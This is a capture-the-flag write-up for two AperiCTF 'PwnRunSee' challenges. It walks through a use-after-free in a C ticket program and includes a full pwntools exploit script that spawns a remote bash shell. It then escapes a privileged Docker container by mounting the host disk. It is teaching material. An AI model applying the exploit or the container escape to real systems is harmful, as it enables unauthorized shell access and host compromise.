Event Challenge Category Points Solves
AperiCtf PwnRunSee 1 pwn 175 5
AperiCtf PwnRunSee 2 pwn 250 2

TL;DR

This challenge was a use after free vulnerability which allow the user to get a shell on the remote docker after a call to execve with some user controlled parameters. Once inside the docker, we can abuse some privileges to mount the host disk inside the container and get the last flag.

Recon

The program allows the user to create some tickets which will then be processed by some users depending of the ticket destination. If the ticket destination isn’t a valid one a “Intern” is hired to process the ticket then fired.


Agents are stored in a linked list, each agent has a pointer to the next agent and to the previous agent. If there is no previous/next agent it points to NULL. By default, there are 2 agents, the founder and Moss.

1
2
3
4
5
6
7
8
9
typedef struct Agent_t {
    char name[12];  // the name of the agent
    char service[4];  // the service to which the agent belongs (basically ADM/USR)
    void (*run_task)();
    char task[12];  // what the agent is able to do?
    int ticket_count;  // how many tickets this agent has processed?
    struct Agent_t *predecessor;  // which agent has joined the company before him?
    struct Agent_t *successor;  // which agent has joined the company after him?
} Agent_t;

After looking at the code we can spot a vulnerability, in the fire_interns function the intern is freed, but the linked list is not updated so the successor of the previous agent (Moss if it’s the first intern) will point to a free memory area. When an object is freed, the object itself is not destroyed and the content of the object remain intact.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// Interns aren't really useful isn't it?
void fire_interns() {
    Agent_t *agent = NULL;
    Agent_t *next = NULL;

    agent = founder;
    while (agent != NULL) {
        printf("Looking %s for firing\n", agent->name);
        next = agent->successor;
        // TODO: update linked list.
        if (strcmp(agent->name, "Intern") == 0) {
            printf("%s has been fired\n", agent->name);
            //Here agent freed but list not updated !!
            free(agent);
        }
        agent = next;
    }
}

So now when we create a new ticket, it will point to the same memory area than the previous freed agent. Here is an example, first you create a useless ticket, then you ask the agents to process the ticket in order to create the Intern agent. Now there are no tickets left and the intern agent is freed. Here is what happen if you create another ticket and display the agent list :

We can control the content of the agent ! It’s time for exploitation.

Building the exploit

Here is the representation of the memory. The red arrows show the memory when the intern has been hired. The purple arrow show the memory when the intern has been freed and when a new ticket is created. The successor pointer of Moss will point to the created ticket and it will be interpreted as an agent. Thanks to that we can control the structure of the agent and put what we want inside.

Now we need to create this special ticket in order to change the intern’s parameters and get him execute a shell on the remote docker. What we want to achieve is a call to execve in the run_taskfunction.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void run_task(Agent_t *agent, Ticket_t *ticket) {
    if (strcmp(agent->service, "ADM") == 0) {
        if (strcmp(agent->name, "Moss") == 0 || agent->ticket_count < 1) {  // don't accept commands if it's its first ticket!
            printf("Sorry %s, but you're really dangerous... I'm calling the 01189998819991197253!\n", agent->name);
        } else {
            printf("%s agent is processing the task...\n", agent->name);

            char *argv[] = {agent->task, ticket->description, NULL};
            //could be nice to call it with /bin/sh ? :D
            execve(agent->task, argv, NULL);
        }
    } else {
        printf("%s agent isn't admin!\n", agent->name);
    }
}

The run_task function is called from process_tickets. It loops over all the tickets and look for a valid agent. When the agent has processed the ticket his ticket counter is increased by one.

1
2
3
4
5
6
7
8
9
[...]
agent = find_agent(ticket->to);
if (agent == NULL) {
    [...]
} else {
    [...]
    agent->run_task(agent, ticket);
    agent->ticket_count += 1;
}

But, how the agents are selected in find_agent ? Here is the code responsible for that, first it compares the service of the agent and then check that the ticket count of the agent is lower than MAX_AGENT_TICKET (which is 4 here).

1
2
3
4
5
6
7
8
agent = founder;
    while (agent != NULL && found_agent == NULL) {
        if (strcmp(agent->service, service) == 0 && agent->ticket_count < MAX_AGENT_TICKET) {
            found_agent = agent;
        } else {
            agent = agent->successor;
        }
    }

So if we just craft the intern with service ADM it won’t work because Moss will be selected since it takes the agent list from the beginning to the end (Intern is the last one). We need to make Moss busy. The ticket count of Moss need to be bigger than MAX_AGENT_TICKET so he can’t process other tickets, this will make find_agent return the intern.

Before getting access to execve in run_task, some conditions are needed. The agent has to be an admin, the agent can’t be Moss and the ticket count should be greater than 1:

1
2
3
4
5
[...]
if (strcmp(agent->service, "ADM") == 0) {
    if (strcmp(agent->name, "Moss") == 0 || agent->ticket_count < 1) {  
        // don't accept commands if it's its first ticket!
[...]

So the idea of the exploit is :

  • Create fake ticket for Moss to make him busy
  • Create fake ticket for the intern in order to create him
  • Process tickets
  • Create special ticket to overwrite intern’s params
  • Create the shell ticket
  • Process the tickets and enjoy your shell !

After overwriting the intern’s params we will end up executing this command :

1
2
char *argv[] = {"/bin/bash", "-p", NULL};
            execve("/bin/bash", argv, NULL);

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

#Static address in the binary
#Found by looking at other agents
run_task = 0x804871b
binary = "chall"

#HOST = "pwn-run-see.aperictf.fr"
HOST = "localhost"
PORT = 31337

#Create a ticket
def createTicket(name, dest, descrip, p):
	p.recvuntil("name: ")
	p.sendline(name)
	p.recvuntil("service: ")
	p.sendline(dest)
	p.recvuntil("ion: ")
	p.sendline(descrip)
	p.recvuntil("=> ")

p = remote(HOST, PORT)

#Make Moss Busy to make is ticket count > MAX_AGENT_TICKET
#so he can't process other tickets
for i in range(0, 5):
    p.sendline("3")
    createTicket("AAAA", "ADM", "AAAA", p)

#Process tickets and free Intern
p.sendline("4")
p.recvuntil("=> ")
p.sendline("3")

#Create the Special ticket with /bin/bash to change intern's params
createTicket("AAAA", "ADM", p32(run_task)+"/bin/bash", p)
p.sendline("3")

#Create the ticket to trigger the execve 
createTicket("AAAA", "ADM", "-p", p)
p.sendline("4")
p.interactive()
print p.recvuntil("=> ")

Part 2

So we end up part 1 with a shell, but we need to escape from the container. I’m not an expert in docker, but we can quickly spot the privileged: true in the dockercompose.yml which sound promising !

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#
# Pwn, run, see.
#
# Written by:
#   Baptiste MOINE <contact@bmoine.fr>
#
version: '3'
networks:
    front:
        driver: bridge
services:
    xinetd:
        build: build/xinetd
        image: creased/xinetd:latest
        container_name: ${COMPOSE_PROJECT_NAME:-chall}
        hostname: ${COMPOSE_PROJECT_NAME:-chall}
        ports:
            - 31337:31337/tcp
        networks:
            front:
            #    ipv4_address: 10.0.0.1
        restart: always
        volumes:
            - ${ROOT:-.}/data/chall/chall:/data/chall:ro
            - ${ROOT:-.}/data/chall/flag:/data/flag:ro
            - ${ROOT:-.}/conf/xinetd/ctf.xinetd:/etc/xinetd.d/ctf:ro
            - ${ROOT:-.}/conf/xinetd/xinetd.conf:/etc/xinetd.conf:ro
        privileged: true
        healthcheck:
            test: ["CMD", "nc", "-z", "localhost", "31337"]
            interval: 10s
            timeout: 10s
            retries: 3

After some research on duckduckgo I discovered some warning about using this option. From the official docker website :

When the operator executes docker run --privileged, Docker will enable access to all devices on the host as well as set some configuration in AppArmor or SELinux to allow the container nearly all the same access to the host as processes running outside containers on the host.

Indeed we can access all the devices, to see them just use ls /dev. In the device, there is /dev/sda1 which is the host partition !! To access this partition and escape the container we just need to mount it:

1
2
3
mkdir /mountDir
mount /dev/sda1 /mountDir
ls /mountDir/

I’m currently using a Mac, with mac and windows systems the docker daemon run in a VM so we can’t really see the host partition, but on a linux machine we would have had access to the whole partition !